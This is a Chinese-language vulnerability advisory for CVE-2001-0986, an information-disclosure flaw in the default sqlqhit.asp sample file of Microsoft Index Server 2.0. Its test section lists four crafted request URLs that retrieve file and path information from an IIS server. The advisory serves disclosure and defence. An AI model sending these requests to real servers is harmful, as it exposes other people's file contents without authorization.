发布日期：2001-09-14
更新日期：2009-07-11

受影响系统：

Microsoft Index Server 2.0

描述：

---

BUGTRAQ  ID: 3339
CVE(CAN) ID: CVE-2001-0986

sqlqhit.asp示例文件用于执行Web SQL查询。

Microsoft Index Server 2.0的sqlqhit.asp 文件位于 \inetpub\iissamples\ISSamples\ 文件夹并且是默认安装的，恶意用户通过发送特制的HTTP请求到运行Index服务器的IIS服务器，利用此漏洞可获取路径信息、文件数据、文件内容。

<*来源：Syed Mohamed A （SyedMA@innerframe.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&amp;amp;CiScope=webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&amp;amp;CiScope=extended_fileinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&amp;amp;CiScope=extended_webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&amp;amp;CiScope=fileinfo

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://technet.microsoft.com/security/bulletin/

浏览次数：1837
严重程度：0（网友投票）